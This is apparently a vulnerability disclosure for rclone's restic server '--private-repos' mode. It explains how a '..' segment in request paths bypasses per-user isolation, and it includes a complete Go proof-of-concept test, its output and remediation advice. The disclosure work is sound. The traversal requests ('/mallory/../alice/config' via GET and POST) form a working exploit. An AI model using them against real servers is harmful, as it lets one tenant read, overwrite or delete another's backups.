## Summary
`rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/<username>/`. The documentation states the flag "can be used to limit users to repositories starting with a path of `/<username>/`", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.
The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /<me>/../<victim>/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object.
Because the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).
## Affected code (v1.74.3, commit `37e4117…`)
`cmd/serve/restic/restic.go`. The two middlewares disagree on what "the path" is. `checkPrivate` reads the chi route param `userID`:
```go
// Middleware to ensure authenticated user is accessing their own private folder
func checkPrivate(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
user := chi.URLParam(r, "userID")
userID, ok := libhttp.CtxGetUser(r.Context())
if ok && user != "" && user == userID {
next.ServeHTTP(w, r)
} else {
http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)
}
})
}
```
`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite):
```go
func WithRemote(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var urlpath string
rctx := chi.RouteContext(r.Context())
if rctx != nil && rctx.RoutePath != "" {
urlpath = rctx.RoutePath
} else {
urlpath = r.URL.Path
}
urlpath = strings.Trim(urlpath, "/")
parts := matchData.FindStringSubmatch(urlpath)
// ... data/2159dd48 -> data/21/2159dd48 sharding only ...
ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
```
Route wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:
```go
if s.opt.PrivateRepos {
router.Route("/{userID}", func(r chi.Router) {
r.Use(checkPrivate)
s.bind(r)
})
...
}
```
The remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam="test"` (authorized) while the object remote is `"test/../victim/config"` — the desync is exact.
## Attacker model / precondition
The attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.
Preconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.
## Impact
Across the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server:
- **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.)
- **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set.
- **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).
This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.
## Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`.
Reproduce against the exact vulnerable tag:
```console
git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone
cd rclone
# write the test file shown below to cmd/serve/restic/zzz_poc_test.go
go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v
```
`cmd/serve/restic/zzz_poc_test.go`:
```go
package restic
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/rclone/rclone/fs"
"github.com/rclone/rclone/fs/config/configfile"
"github.com/rclone/rclone/fs/object"
"github.com/rclone/rclone/lib/random"
"github.com/stretchr/testify/require"
_ "github.com/rclone/rclone/backend/memory"
)
func pocBasicAuth(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)
// request-target + method + Basic auth, returning the full raw response.
func rawReq(t *testing.T, addr, method, target, user, pass string) string {
conn, err := net.Dial("tcp", addr)
require.NoError(t, err)
defer func() { _ = conn.Close() }()
cred := pocBasicAuth(user, pass)
req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
_, err = conn.Write([]byte(req))
require.NoError(t, err)
r := bufio.NewReader(conn)
var sb strings.Builder
buf := make([]byte, 8192)
for {
n, err := r.Read(buf)
if n > 0 {
sb.Write(buf[:n])
}
if err != nil {
break
}
}
return sb.String()
}
func pocBody(resp string) string {
if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 {
return resp[idx+4:]
}
return ""
}
func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }
// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass
// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).
func TestPrivateRepoCrossTenantPoC(t *testing.T) {
configfile.Install()
ctx := context.Background()
// Bucket-style backend shared by all private-repo users.
f, err := fs.NewFs(ctx, ":memory:repos")
require.NoError(t, err)
put := func(remote, content string) {
info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)
_, perr := f.Put(ctx, strings.NewReader(content), info)
require.NoError(t, perr)
}
// Victim "alice" uploads her restic config under her own private prefix.
secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8)
put("alice/config", secret)
// Attacker "mallory" has her own valid account on the same server.
put("mallory/config", "mallory-own-config")
opt := newOpt()
opt.PrivateRepos = true
opt.Auth.BasicUser = "mallory"
opt.Auth.BasicPass = "password"
opt.HTTP.ListenAddr = nil
s, err := newServer(ctx, f, &opt)
require.NoError(t, err)
ts := httptest.NewServer(s.server.Router())
defer ts.Close()
addr := strings.TrimPrefix(ts.URL, "http://")
// 1. Sanity: mallory reads her own config -> 200.
r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password")
t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))
// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.
r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password")
t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))
// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so
// checkPrivate passes, but the object remote collapses to alice/config.
r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
leaked := strings.Contains(pocBody(r3), secret)
t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))
require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")
// 4. Write bypass too: mallory overwrites alice's object (append-only off).
r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password")
t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4))
}
```
Observed output (v1.74.3 and master HEAD):
```text
=== RUN TestPrivateRepoCrossTenantPoC
zzz_poc_test.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config"
zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n"
zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0"
zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK
--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)
PASS
ok github.com/rclone/rclone/cmd/serve/restic 0.022s
```
The shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it.
## Remediation
Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:
- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean("/" + strings.Trim(urlpath, "/"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.
- Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID`.
- Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.
Please credit 5ud0 / Tarmo Technologies.